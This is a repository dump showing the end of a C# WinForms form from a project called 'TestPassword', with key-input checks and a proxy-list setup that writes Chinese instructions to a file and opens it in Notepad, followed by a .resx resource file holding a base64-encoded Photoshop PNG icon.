if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
}
///
/// 验证代理IP的文件是否正常
///
private void cB_proxy_CheckedChanged(object sender, EventArgs e)
{
if (cB_proxy.Checked)
{
if (StaticClass.proxy == null)
{
MessageBox.Show("请先 选择解决方案");
cB_proxy.Checked = false;
return;
}
if (!File.Exists(StaticClass.proxy))
{
string text = "";
text += "使用代理方案说明:\r\n";
text += "1:请确保代理的 IP 必须支持 SSL(即Https)\r\n";
text += "2:使用代理方案后,程序将不会检测代理 IP 是否有效,也意味着程序不会自动停止\r\n";
text += "3:作者 zgcwkj 编写日期 20181103\r\n";
text += "\r\n";
text += "\r\n";
text += "把文本的内容清空\r\n";
text += "填入内容格式为 IP:端号 回车,以此类推\r\n";
text += "注意最后一个不要加回车\r\n";
text += "\r\n";
text += "记得保存文本!不然白写\r\n";
text += "";
File.WriteAllText(StaticClass.proxy, text);
System.Diagnostics.Process.Start("notepad.exe", StaticClass.proxy);
cB_proxy.Checked = false;
return;
}
}
}
#endregion 检验常规数据
#region 退出程序
///
/// 退出程序
///
private void Main_FormClosed(object sender, FormClosedEventArgs e)
{
StaticClass.status = false;
Application.Exit();
}
#endregion 退出程序
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Main.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
17, 17
33
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
